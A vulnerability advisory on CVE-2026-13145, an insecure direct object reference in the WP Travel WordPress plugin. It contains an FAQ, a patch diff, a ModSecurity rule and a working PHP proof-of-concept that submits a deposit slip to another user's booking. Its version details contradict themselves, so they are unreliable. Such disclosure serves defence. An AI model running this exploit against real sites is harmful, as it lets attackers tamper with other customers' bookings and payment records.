What is CVE-2026-13145?

CVE-2026-13145 is an Insecure Direct Object Reference (IDOR) vulnerability in the WP Travel plugin for WordPress. It allows authenticated users with subscriber-level access to perform unauthorized actions on other users’ bookings, such as viewing or modifying them. The vulnerability affects versions up to 11.8.1 and has a CVSS score of 4.3, indicating medium severity.

How does the IDOR vulnerability work?

The vulnerability occurs because the plugin fails to validate that the authenticated user owns the booking when processing requests that reference booking IDs. For example, in the bank deposit gateway, the function wptravel_submit_bank_deposit_slip does not check if the booking belongs to the user. Similarly, the bookings template lacks an ownership check when displaying booking details. An attacker can exploit this by sending crafted requests with a victim’s booking ID.

Who is affected by this vulnerability?

WordPress sites running WP Travel versions up to and including 11.8.1 are affected. Any authenticated user with subscriber-level access or higher can exploit the vulnerability. This includes regular subscribers who have minimal privileges, making it a significant risk for sites with multiple user roles.

How can I check if my site is vulnerable?

Check the WP Travel plugin version in your WordPress admin dashboard under Plugins. If the version is 11.8.1 or lower, your site is vulnerable. You can also review the plugin’s changelog or use security scanning tools that detect known vulnerabilities. Ensure you update to version 11.8.1 or later to apply the patch.

What is the practical impact of this vulnerability?

An attacker with subscriber access can view sensitive booking details of other users, including personal information and payment status. They can also submit a bank deposit slip for a victim’s booking, potentially altering payment records. This compromises data confidentiality and integrity, though it does not lead to full site takeover.

How does the proof of concept (PoC) demonstrate the issue?

The provided PoC shows how an authenticated subscriber can log in and send a POST request to the bank deposit endpoint with a victim’s booking ID. It includes a valid nonce and file upload, which the plugin processes without verifying ownership. This demonstrates the missing authorization check and the ability to perform unauthorized actions.

What is the root cause of this vulnerability?

The root cause is the lack of authorization checks in multiple endpoints. The plugin fails to compare the authenticated user’s identity with the booking’s owner before processing actions. This allows any authenticated user to interact with bookings they do not own, violating the principle of least privilege.

How has the patch addressed the vulnerability?

The patch adds ownership validation checks. In the bank deposit handler, it retrieves the booking’s customer email and compares it to the authenticated user’s email, rejecting mismatches. Similarly, the bookings template checks the booking’s email against the current user’s email and returns an error if they do not match. These checks prevent unauthorized access.

What should I do if I cannot update the plugin immediately?

If you cannot update right away, consider restricting subscriber access to the affected endpoints. You can use security plugins to block direct access to admin-post.php and admin-ajax.php for non-admin users, or implement custom code to add ownership checks. However, updating to the patched version is the recommended solution.

What is the CVSS score and severity rating?

The CVSS score is 4.3, which is rated as Medium severity. This reflects that the vulnerability requires authentication and has limited impact on confidentiality and integrity. It does not allow privilege escalation, but it still poses a risk to data privacy and trust.

Are there any other known vulnerabilities in WP Travel?

While this specific IDOR is patched, it is always advisable to keep the plugin updated to the latest version. Check the plugin’s changelog and security advisories for any other fixes. Regularly updating and monitoring for new releases helps protect against emerging threats.

How can I report a vulnerability or get more information?

For more details, refer to the official CVE record and the plugin’s changelog. You can also consult security research platforms like WPScan or the WordPress security team. If you discover a new issue, report it responsibly to the plugin developer or through coordinated disclosure channels.

Published : August 7, 2026

CVE-2026-13145: WP Travel – Ultimate Travel Booking System, Tour Management Engine < 11.8.1 Authenticated (Subscriber+) Insecure Direct Object Reference PoC, Patch Analysis & Rule

CVE ID CVE-2026-13145

Plugin wp-travel

Severity Medium (CVSS 4.3)

CWE 639

Vulnerable Version 11.8.1

Patched Version 11.8.1

Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13145: This vulnerability is an Insecure Direct Object Reference (IDOR) in WP Travel – Ultimate Travel Booking System, Tour Management Engine versions up to 11.8.1. The flaw permits authenticated attackers with subscriber-level access to modify or interact with booking records belonging to other users. The severity is moderate with a CVSS score of 4.3, as it allows unauthorized actions without privilege escalation.

Root Cause: The root cause lies in missing authorization checks when handling requests that reference booking IDs. The vulnerability exists across multiple endpoints. In the bank deposit gateway (wp-travel/inc/gateways/bank-deposit/bank-deposit.php), the wptravel_submit_bank_deposit_slip function fails to verify that the authenticated user owns the booking before processing the submitted slip. In the account panel template (wp-travel/templates/account/tab-content/bookings.php), the booking details view lacked a check to associate the booking with the logged-in user. The file upload and booking modification processes also lacked proper validation of the booking ID ownership.

Exploitation: An attacker can exploit this by sending a direct HTTP request to the vulnerable endpoints. For the bank deposit slip submission, an authenticated user can POST to the admin-post.php or the AJAX handler (admin-ajax.php) with the wp_travel_booking_id parameter set to a victim’s booking ID. The attacker includes a valid nonce (which a subscriber can obtain) and the required file upload. In the bookings template, an authenticated user can send a GET request to their account page with the detail_id parameter pointing to a booking ID they do not own, bypassing the missing ownership check to view or interact with another user’s booking details.

Patch Analysis: The patch introduces ownership validation checks. In the bank deposit handler, it retrieves the booking’s customer user ID and compares the associated email to the authenticated user’s email before processing the deposit. If there is a mismatch, the request is silently rejected. In the bookings template, it performs a similar check: it fetches the booking’s associated email and compares it to the current user’s email, returning a ‘You have no access to this booking’ error on mismatch. These checks ensure that authenticated users can only interact with their own bookings, effectively mitigating the IDOR.

Impact: Successful exploitation of this vulnerability allows an authenticated subscriber to perform unauthorized actions on other users’ bookings. This includes submitting a bank deposit slip for a victim’s booking, potentially altering the payment status or payment details, and viewing sensitive booking information. The impact is primarily a violation of confidentiality and data integrity, though it does not lead to direct administrative control.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/wp-travel/core/ajax/cart.php
+++ b/wp-travel/core/ajax/cart.php
@@ -71,6 +71,22 @@

 		$response  = WP_Travel_Helpers_Cart::add_to_cart( $post_data );

+		if( apply_filters( 'wp_travel_enable_cart_logs', false ) == true ){
+
+			$cookie = wp_unslash($_COOKIE['wp_travel_session']);
+			$parts  = explode('||', $cookie);
+
+			wt_cart_log(
+				'ITEM ADDED TO CART FOR SESSION -  ' . $parts[0],
+
+				array(
+					'session_id' => ! empty($parts[0])
+					? sanitize_text_field($parts[0])
+					: ''
+				)
+			);
+		}
+
 		if( $settings['enable_woo_checkout'] == 'yes' ){
 			global $woocommerce;
 			$woocommerce->cart->empty_cart();
--- a/wp-travel/inc/booking-functions.php
+++ b/wp-travel/inc/booking-functions.php
@@ -7,7 +7,6 @@

 function wptravel_book_now() {

-
 	// This condition is added to fix Paypal unpaid bookings
 	if( isset( $_POST['wp_travel_payment_gateway'] ) && $_POST['wp_travel_payment_gateway'] == 'paypal' ){
 		$booking_post_type = 'pending-booking';
@@ -521,8 +520,35 @@

 	$affiliate = apply_filters( 'wp_travel_all_booking_data_list_for_slicewp', $booking_id, $user_id );

+	if( apply_filters( 'wp_travel_enable_cart_logs', false ) == true ){
+		$cookie = wp_unslash($_COOKIE['wp_travel_session']);
+		$parts  = explode('||', $cookie);
+		wt_cart_log(
+			'BOOKING SUCCESSFUL',
+			array(
+				'session_id' => ! empty($parts[0])
+				? sanitize_text_field($parts[0])
+				: '',
+				'booking_id' => $booking_id,
+			)
+		);
+	}
+
 	$wt_cart->clear();

+	if( apply_filters( 'wp_travel_enable_cart_logs', false ) == true ){
+		$cookie = wp_unslash($_COOKIE['wp_travel_session']);
+		$parts  = explode('||', $cookie);
+		wt_cart_log(
+			'CART CLEARED AFTER SUCCESSFUL BOOKING',
+			array(
+				'session_id' => ! empty($parts[0])
+				? sanitize_text_field($parts[0])
+				: '',
+			)
+		);
+	}
+
 	if( get_option( 'wptravel_reserve_date' ) == 'yes' ){
 		$reserved_booking_dates = array();

--- a/wp-travel/inc/cart-logger.php
+++ b/wp-travel/inc/cart-logger.php
@@ -39,49 +39,49 @@
 	);
 }

-function wt_cart_log( $message, $data = array() ) {
-	$uri = $_SERVER['REQUEST_URI'] ?? '';
+function wt_cart_log( $message, $data = array(), $include_device_info = false ) {

-	if ( strpos($uri, apply_filters( 'wp_travel_checkout_request_url', 'wp-travel-checkout' ) ) === false ) {
-		return;
-	}
-
-
 	$upload_dir = wp_upload_dir();
-	$log_dir = $upload_dir['basedir'] . '/wp-travel-logs';
+	$log_dir    = $upload_dir['basedir'] . '/wp-travel-logs';

 	if ( ! file_exists( $log_dir ) ) {
 		wp_mkdir_p( $log_dir );
 	}

-	$user_id = get_current_user_id();
-	$user_email = '';
+	$device_info = '';

-	if ( $user_id ) {
-		$user = get_userdata( $user_id );
-		$user_email = $user ? $user->user_email : '';
-	}
+	if ( $include_device_info ) {

-	$device_info = array(
-		'ip'          => $_SERVER['REMOTE_ADDR'] ?? '',
-		'user_agent'  => $_SERVER['HTTP_USER_AGENT'] ?? '',
-		'device_type' => wt_get_device_type(),
-		'browser'     => wt_get_browser_details(),
-		'user_id'     => $user_id,
-		'user_email'  => $user_email,
-	);
+		$user_id    = get_current_user_id();
+		$user_email = '';
+
+		if ( $user_id ) {
+			$user = get_userdata( $user_id );
+			$user_email = $user ? $user->user_email : '';
+		}
+
+		$device_info = print_r(
+			array(
+				'ip'          => $_SERVER['REMOTE_ADDR'] ?? '',
+				'user_agent'  => $_SERVER['HTTP_USER_AGENT'] ?? '',
+				'device_type' => wt_get_device_type(),
+				'browser'     => wt_get_browser_details(),
+				'user_id'     => $user_id,
+				'user_email'  => $user_email,
+			),
+			true
+		);
+	}

 	$log_file = $log_dir . '/cart-' . date( 'Y-m-d' ) . '.log';

 	$log = sprintf(
-		"[%s]nMESSAGE: %snDEVICE & USER INFO: %snDATA INFO: %snn",
+		"[%s]nMESSAGE: %sn%sDATA INFO: %snn",
 		current_time( 'mysql' ),
 		$message,
-		print_r( $device_info, true ),
+		$include_device_info ? "DEVICE & USER INFO: {$device_info}n" : '',
 		print_r( $data, true )
 	);

 	file_put_contents( $log_file, $log, FILE_APPEND | LOCK_EX );
-
-
 }
--- a/wp-travel/inc/cart/class-checkout.php
+++ b/wp-travel/inc/cart/class-checkout.php
@@ -36,17 +36,12 @@
 			return;
 		}

-
-		if ( isset($_COOKIE['wp_travel_session']) ) {
-
-			$cookie = wp_unslash($_COOKIE['wp_travel_session']);
-			$parts  = explode('||', $cookie);
-
-		}

 		if( apply_filters( 'wp_travel_enable_cart_logs', false ) == true ){
+			$cookie = wp_unslash($_COOKIE['wp_travel_session']);
+			$parts  = explode('||', $cookie);
 			wt_cart_log(
-				'GET ITEMS CALLED',
+				'REACHED TO CHECKOUT PAGE',
 				array(
 					'session_id' => ! empty($parts[0])
 					? sanitize_text_field($parts[0])
--- a/wp-travel/inc/gateways/bank-deposit/bank-deposit.php
+++ b/wp-travel/inc/gateways/bank-deposit/bank-deposit.php
@@ -29,10 +29,35 @@

 function wptravel_submit_bank_deposit_slip() {

+	if ( ! isset( $_POST['wp_travel_security'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['wp_travel_security'] ) ), 'wp_travel_security_action' ) ) {
+		return;
+	}
+
+	$booking_id = absint( $_POST['wp_travel_booking_id'] ?? 0 );
+
+	$user_id = absint(
+		get_post_meta( $booking_id, 'wp_travel_customer_user_id', true )
+	);
+
+	$user = get_userdata( $user_id );
+
+
+	$booking_email = strtolower( trim( $user->user_email ) );
+	$payer_email   = strtolower(
+		trim(
+			sanitize_email( wp_unslash( $_POST['payment_email'] ?? '' ) )
+		)
+	);
+
+	if ( empty( $payer_email ) || $booking_email !== $payer_email ) {
+		return;
+	}
+
+
 	if ( isset( $_POST['complete_partial_payment'] ) && isset( $_POST['wp_travel_payment_gateway'] ) && $_POST['wp_travel_payment_gateway'] == 'bank_deposit' ) {
-		$payment_gateway = 'bank_deposit';

-		$booking_id      = sanitize_text_field( wp_unslash( $_POST['wp_travel_booking_id'] ) );
+
+		$payment_gateway = 'bank_deposit';

 		$payment_id = get_post_meta( $booking_id, 'wp_travel_payment_id', true );

@@ -46,17 +71,6 @@

 	if ( isset( $_POST['wp_travel_submit_slip'] ) ) {

-		if ( ! isset( $_POST['booking_id'] ) ) {
-			return;
-		}
-
-		if (
-			! isset( $_POST['wp_travel_security'] )
-			|| ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['wp_travel_security'] ) ), 'wp_travel_security_action' )
-			) {
-			return;
-		}
-
 		$settings = wptravel_get_settings();

 		$allowed_files = apply_filters( 'wp_travel_bank_deposit_allowed_files', 'jpg, png, txt, pdf' );
@@ -98,7 +112,7 @@
 		if ( true === $upload_ok ) {


-			$booking_id = absint( $_POST['booking_id'] );
+			$booking_id = absint( $_POST['wp_travel_booking_id'] );
 			$txn_id     = isset( $_POST['wp_travel_bank_deposit_transaction_id'] ) ? sanitize_text_field( $_POST['wp_travel_bank_deposit_transaction_id'] ) : '';
 			$data       = wptravel_booking_data( $booking_id );

@@ -343,10 +357,18 @@
 	$bank_deposit_fields               = wptravel_get_bank_deposit_form_fields($details);
 	$bank_deposit_fields['booking_id'] = array(
 		'type'    => 'hidden',
-		'name'    => 'booking_id',
+		'name'    => 'wp_travel_booking_id',
 		'id'      => 'wp-travel-booking_id',
 		'default' => $booking_id,
 	);
+
+	$current_user = wp_get_current_user();
+	$bank_deposit_fields['payment_email'] = array(
+		'type'    => 'hidden',
+		'name'    => 'payment_email',
+		'id'      => 'payment_email',
+		'default' => $current_user->user_email,
+	);
 	?>
 	<div class="wp-travel-bank-deposit-wrap">
 		<div id="wp-travel-bank-deposit-content" class="wp-travel-popup" >
--- a/wp-travel/inc/gateways/standard-paypal/class-wp-travel-gateway-paypal-request.php
+++ b/wp-travel/inc/gateways/standard-paypal/class-wp-travel-gateway-paypal-request.php
@@ -128,15 +128,7 @@
 			$args['handling']             = 0;
 			$args['handling_cart']        = 0;
 			$args['no_shipping']          = 0;
-			// $args['notify_url']           = esc_url(
-			// 	add_query_arg(
-			// 		array(
-			// 			'wp_travel_listener' => 'IPN',
-			// 			'partial'            => true,
-			// 		),
-			// 		home_url( 'index.php' )
-			// 	)
-			// );
+			$args['notify_url']           = esc_url( add_query_arg( 'wp_travel_listener', 'IPN', home_url( 'index.php' ) ) );

 			// Cart Item.
 			$agrs_index = 1;
@@ -147,6 +139,10 @@

 			$args[ 'amount_' . $agrs_index ]      = sanitize_text_field( wp_unslash( $_POST['amount'] ) );
 			$args[ 'item_number_' . $agrs_index ] = $booking_id;
+			$args['custom']         = wp_json_encode( array(
+				'booking_id'   => $booking_id,
+				'payment_type' => 'complete_partial',
+			) );

 		} elseif ( $items ) {  // Normal Payment.

@@ -197,7 +193,7 @@
 			$args['handling']             = 0;
 			$args['handling_cart']        = 0;
 			$args['no_shipping']          = 0;
-			// $args['notify_url']           = esc_url( add_query_arg( 'wp_travel_listener', 'IPN', home_url( 'index.php' ) ) );
+			$args['notify_url']           = esc_url( add_query_arg( 'wp_travel_listener', 'IPN', home_url( 'index.php' ) ) );

 			// Cart Item.
 			$agrs_index = 1; // Initialize only once
@@ -258,14 +254,17 @@
 			$args[ 'quantity_1']  = 1;
 			$args[ 'amount_1' ]    = $payment_amount;
 			$args[ 'item_number_1' ] = $booking_id;
+			$args['custom']         = wp_json_encode( array(
+				'booking_id'   => $booking_id,
+				'payment_mode' => $payment_mode,
+				'user_id'      => get_current_user_id(),
+			) );

 		} else {
 			return;
 		}

 		$args['option_index_0'] = $agrs_index;
-		$args['custom']         = $booking_id;
-


 		return apply_filters( 'wp_travel_paypal_args', $args );
--- a/wp-travel/inc/gateways/standard-paypal/paypal-functions.php
+++ b/wp-travel/inc/gateways/standard-paypal/paypal-functions.php
@@ -30,17 +30,11 @@
  */
 function wptravel_listen_paypal_ipn() {

-	if ( isset( $_POST['payer_id'] ) && isset( $_POST['txn_id'] ) ) {
-        // Get current user's email
-        $current_user_email = '';
-
-        if ( is_user_logged_in() ) {
-            $current_user = wp_get_current_user();
-            $current_user_email = $current_user->user_email;
-        }
-
-        // Pass the current user's email to the action
-        do_action( 'wp_travel_verify_paypal_ipn', $current_user_email );
+	if ( isset( $_GET['wp_travel_listener'] )
+		&& $_GET['wp_travel_listener'] == 'IPN'
+		|| isset( $_GET['test'] )
+		&& $_GET['test'] == true ) {
+        do_action( 'wp_travel_verify_paypal_ipn' );
     }

 }
@@ -55,13 +49,20 @@
  */
 function wptravel_paypal_ipn_process( $current_user_email ) {

+	include dirname( __FILE__ ) . '/php-paypal-ipn/IPNListener.php';
+	$listener = new IPNListener();
+
+	$settings              = wptravel_get_settings();

-		$settings              = wptravel_get_settings();
+	$listener->use_sandbox = ( $settings['wt_test_mode'] ) ? true : false;

-		$message = null;
+	/**
+	 * Check if IPN was successfully processed
+	 */
+	if ( $verified = $listener->processIpn() ) {

 		if ( $_POST['mc_currency'] != $settings['currency'] ) { // @phpcs:ignore
-			$message .= "nCurrency does not match those assigned in settingsn";
+			return;
 		}

 		/**
@@ -70,12 +71,16 @@
 		 * PayPal transaction id (txn_id) is stored in the database, we check
 		 * that against the txn_id returned.
 		 */
-		$booking_id = isset( $_POST['custom'] ) ? absint( $_POST['custom'] ) : 0;
+		$custom = json_decode( wp_unslash( $_POST['custom'] ?? '' ), true );
+
+		$booking_id  = absint( $custom['booking_id'] ?? 0 );
+		$payment_mode = sanitize_text_field( $custom['payment_mode'] ?? '' );
+		$payment_type = sanitize_text_field( $custom['payment_type'] ?? '' );
+		$user_id = absint( $custom['user_id'] ?? 0 );
+
 		$txn_id     = get_post_meta( $booking_id, 'txn_id', true );
 		if ( empty( $txn_id ) ) {
 			update_post_meta( $booking_id, 'txn_id', sanitize_text_field( $_POST['txn_id'] ) );
-		} else {
-			$message .= "nThis payment was already processedn";
 		}

 		/**
@@ -84,8 +89,8 @@
 		 * Create a new payment, send customer an email and empty the cart
 		 */

-		if ( ! empty( $_POST['payer_status'] ) && $_POST['payer_status'] == 'VERIFIED' && ! isset( $_GET['partial'] ) ) { // @phpcs:ignore
-
+		if ( ! empty( $_POST['payment_status'] ) && $_POST['payment_status'] == 'Completed' && !$payment_type ) { // @phpcs:ignore
+
 			// Fixed Paypal booking step
 			set_post_type( $booking_id, 'itinerary-booking' );

@@ -142,15 +147,8 @@

 				update_post_meta( $new_payment_id, 'wp_travel_payment_amount', $amount );

-
-				if( $_POST['payment_status'] == 'Completed' ){
-
-					update_post_meta( $new_payment_id, 'wp_travel_payment_status', 'paid' );
-				}else{
-
-					update_post_meta( $new_payment_id, 'wp_travel_payment_status', 'pending' );
-				}
-
+				update_post_meta( $new_payment_id, 'wp_travel_payment_status', 'paid' );
+
 				update_post_meta( $new_payment_id, 'wp_travel_payment_mode', 'partial' );

 				$json = sanitize_text_field( wp_unslash( $_POST['payment_details'] ) );
@@ -160,31 +158,23 @@


 				update_post_meta( $payment_id, '_paypal_args', wptravel_sanitize_array( $_POST ) );
-				if( $_GET['payment'] == 'partial' ){
-					if( $_POST['payment_status'] == 'Completed' ){
-						update_post_meta( $payment_id, 'wp_travel_payment_status', 'partially_paid' );
-					}else{
-						update_post_meta( $payment_id, 'wp_travel_payment_status', 'pending' );
-					}
-				}elseif( $_GET['payment'] == 'full' ){
-
-					if( $_POST['payment_status'] == 'Completed' ){
-						update_post_meta( $payment_id, 'wp_travel_payment_status', 'paid' );
-					}else{
-
-						update_post_meta( $payment_id, 'wp_travel_payment_status', 'pending' );
-					}
+				if( $payment_mode == 'partial' ){
+
+					update_post_meta( $payment_id, 'wp_travel_payment_status', 'partially_paid' );
+
+				}elseif( $payment_mode == 'full' ){
+
+					update_post_meta( $payment_id, 'wp_travel_payment_status', 'paid' );
+
 				}else{
-					if( $_POST['payment_status'] == 'Completed' ){
-						update_post_meta( $payment_id, 'wp_travel_payment_status', 'paid' );
-					}else{
-						update_post_meta( $payment_id, 'wp_travel_payment_status', 'pending' );
-					}
+
+					update_post_meta( $payment_id, 'wp_travel_payment_status', 'pending' );
+
 				}

 				update_post_meta( $payment_id, 'wp_travel_payment_mode', 'full' );

-				if( $_GET['payment'] == 'partial' ){
+				if( $payment_mode == 'partial' ){
 					update_post_meta( $payment_id, 'wp_travel_payment_mode', 'partial' );
 				}

@@ -192,10 +182,9 @@

 				do_action( 'wp_travel_after_successful_payment', $booking_id );
 			}
-		} elseif( ! empty( $_POST['payer_status'] ) && $_POST['payer_status'] == 'VERIFIED' && isset( $_GET['partial'] ) ) {
+		} elseif( ! empty( $_POST['payment_status'] ) && $_POST['payment_status'] == 'Completed' && $payment_type == 'complete_partial' ) {

 				$payment_gateway = 'paypal';
-				$booking_id      = (int)$_GET['booking_id'];

 				$payment_id = get_post_meta( $booking_id, 'wp_travel_payment_id', true );

@@ -319,11 +308,8 @@
 				die;


-		}else {
-
-			$message .= "nPayment status not set to Completedn";
-
-		}
+		}
+	}

 }
 add_action( 'wp_travel_verify_paypal_ipn', 'wptravel_paypal_ipn_process' );
--- a/wp-travel/inc/gateways/standard-paypal/php-paypal-ipn/IPNListener.php
+++ b/wp-travel/inc/gateways/standard-paypal/php-paypal-ipn/IPNListener.php
@@ -55,6 +55,20 @@
 	public $use_sandbox = false;

 	/**
+	 *  Optional explicit path to a CA bundle file for cURL SSL verification.
+	 *  Left null by default so cURL uses the server's own system CA bundle,
+	 *  which is properly maintained/updated by the hosting environment. Only
+	 *  set this if you have a specific reason to override the system bundle
+	 *  (e.g. a broken local dev environment with no CA store at all) - do NOT
+	 *  ship a bundled/static cert file here, since PayPal periodically rotates
+	 *  its certificate chain and a stale bundled file will start failing
+	 *  verification even though the connection is legitimate.
+	 *
+	 *  @var string|null
+	 */
+	public $ca_bundle_path = null;
+
+	/**
 	 *  The amount of time, in seconds, to wait for the PayPal server to respond
 	 *  before timing out. Default 30 seconds.
 	 *
@@ -98,7 +112,17 @@

 		curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, true );
 		curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, 2 );
-		curl_setopt( $ch, CURLOPT_CAINFO, dirname( __FILE__ ) . '/cert/api_cert_chain.crt' );
+
+		// Only override cURL's CA bundle if explicitly configured. By default
+		// this is left unset so cURL uses the server's own system CA bundle -
+		// previously this was hardcoded to a bundled cert/api_cert_chain.crt
+		// file, which goes stale as PayPal rotates its certificate chain and
+		// causes SSL verification failures ("cURL error: 60 ... unable to get
+		// local issuer certificate") even on healthy servers.
+		if ( ! empty( $this->ca_bundle_path ) ) {
+			curl_setopt( $ch, CURLOPT_CAINFO, $this->ca_bundle_path );
+		}
+
 		curl_setopt( $ch, CURLOPT_URL, $uri );
 		curl_setopt( $ch, CURLOPT_POST, true );
 		curl_setopt( $ch, CURLOPT_POSTFIELDS, $encoded_data );
@@ -367,4 +391,4 @@
 		}
 	}

-}
+}
 No newline at end of file
--- a/wp-travel/inc/lib/wp-session/class-wp-session.php
+++ b/wp-travel/inc/lib/wp-session/class-wp-session.php
@@ -160,14 +160,39 @@
 	public function write_data() {
 		$option_key = "_wp_session_{$this->session_id}";

-		if( apply_filters( 'wp_travel_enable_cart_logs', false ) == true ){
+		if ( ! isset( $_COOKIE[ WP_TRAVEL_SESSION_COOKIE ] ) ) {
+
+			$ip = $_SERVER['REMOTE_ADDR'] ?? '';
+
+			$previous_session = get_transient(
+				'wt_last_session_' . md5( $ip )
+			);
+
+			if ( $previous_session ) {
+
+				wt_cart_log(
+					'POTENTIAL SESSION RESET',
+					array(
+						'previous_session' => $previous_session,
+						'new_session'      => $this->session_id,
+					),
+					true
+				);
+			}
+
+			set_transient(
+				'wt_last_session_' . md5( $ip ),
+				$this->session_id,
+				DAY_IN_SECONDS
+			);
+
 			wt_cart_log(
-				'SESSION WRITE',
+				'NEW SESSION CREATED',
 				array(
 					'session_id' => $this->session_id,
 					'option_key' => $option_key,
-					'container'  => $this->container,
-				)
+				),
+				true
 			);
 		}

--- a/wp-travel/templates/account/tab-content/bookings.php
+++ b/wp-travel/templates/account/tab-content/bookings.php
@@ -27,8 +27,35 @@
 		$back_link    = $detail_link;
 		$request_data = WP_Travel::get_sanitize_request();

+
+
 		if ( $request_data ) { // @phpcs:ignore
+
+			$booking_id = isset( $request_data['detail_id'] ) ? absint( $request_data['detail_id'] ) : 0;
+
+			$user_id = absint(
+				get_post_meta( $booking_id, 'wp_travel_customer_user_id', true )
+			);
+
+			$user = get_userdata( $user_id );
+
+			$booking_email = strtolower( trim( $user->user_email ) );
+
+			$current_user = wp_get_current_user();
+
+			$current_user_email = $current_user->user_email;
+
+			if ( $booking_email !== $current_user_email ) {
+
+				echo '<div class="wp-travel-error-message">';
+				echo esc_html__( 'You have no access to this booking.', 'wp-travel' );
+				echo '</div>';
+
+				return;
+			}
+
 			wptravel_print_notices();
+
 			$booking_id    = isset( $request_data['detail_id'] ) ? absint( $request_data['detail_id'] ) : 0;
 			$details       = wptravel_booking_data( $booking_id );
 			$payment_data  = wptravel_payment_data( $booking_id );
--- a/wp-travel/wp-travel.php
+++ b/wp-travel/wp-travel.php
@@ -3,7 +3,7 @@
  * Plugin Name: WP Travel
  * Plugin URI: http://wptravel.io/
  * Description: The best choice for a Travel Agency, Tour Operator or Destination Management Company, wanting to manage packages more efficiently & increase sales.
- * Version: 11.8.0
+ * Version: 11.8.1
  * Author: WP Travel
  * Author URI: http://wptravel.io/
  * Requires at least: 6.0.0

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-13145
# Block attempts to submit bank deposit slips for unauthorized bookings
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-13145 - Attempt to modify another user's booking via bank deposit',severity:'WARNING',tag:'CVE-2026-13145'"
  SecRule ARGS_POST:action "@rx ^wptravel_submit_bank_deposit_slip$" "chain"
    SecRule ARGS_POST:wp_travel_booking_id "@rx ^[0-9]+$" "chain"
      SecRule ARGS_POST:payment_email "@rx S+@S+.S+$" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13145 - WP Travel – Ultimate Travel Booking System, Tour Management Engine < 11.8.1 - Authenticated (Subscriber+) Insecure Direct Object Reference

/**
 * PoC: Submitting a bank deposit slip for a victim's booking (IDOR)
 * This demonstrates the missing ownership validation in the bank deposit gateway.
 */

// Configuration
$target_url = 'http://example.com'; // Set target WordPress URL
$username = 'subscriber_user';
$password = 'subscriber_password';
$victim_booking_id = 123; // Must be set to a booking ID owned by a different user

// Step 1: Login to WordPress to get cookies and a valid nonce
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Fetch the bank deposit form to extract a valid nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/booking-detail/' . $victim_booking_id . '/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Parse the nonce and booking ID from the response
preg_match('/name="wp_travel_security" value="([^"]+)"/', $response, $nonce_match);
if (!isset($nonce_match[1])) {
    die('Failed to retrieve nonce. Ensure the booking page is accessible.');
}
$nonce = $nonce_match[1];

// Step 3: Submit a bank deposit slip for the victim's booking
$post_data = array(
    'wp_travel_security' => $nonce,
    'wp_travel_booking_id' => $victim_booking_id,
    'payment_email' => 'attacker@example.com', // email may not be validated in older versions
    'wp_travel_submit_slip' => 'Upload',
    'wp_travel_bank_deposit_transaction_id' => 'TEST-TXN-12345'
);

// Simulate file upload - creating a small test slip
$file = curl_file_create('/tmp/test-slip.txt', 'text/plain', 'test-slip.txt');
$post_data['wp_travel_bank_deposit_slip'] = $file;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Check if the exploitation was successful
if (strpos($response, 'Bank deposit slip uploaded successfully') !== false) {
    echo 'Vulnerability exploited successfully!';   
} else {
    echo 'Exploitation failed. Check target URL, credentials, or endpoint.';
}
?>

Frequently Asked Questions

What is CVE-2026-13145?
Vulnerability overview
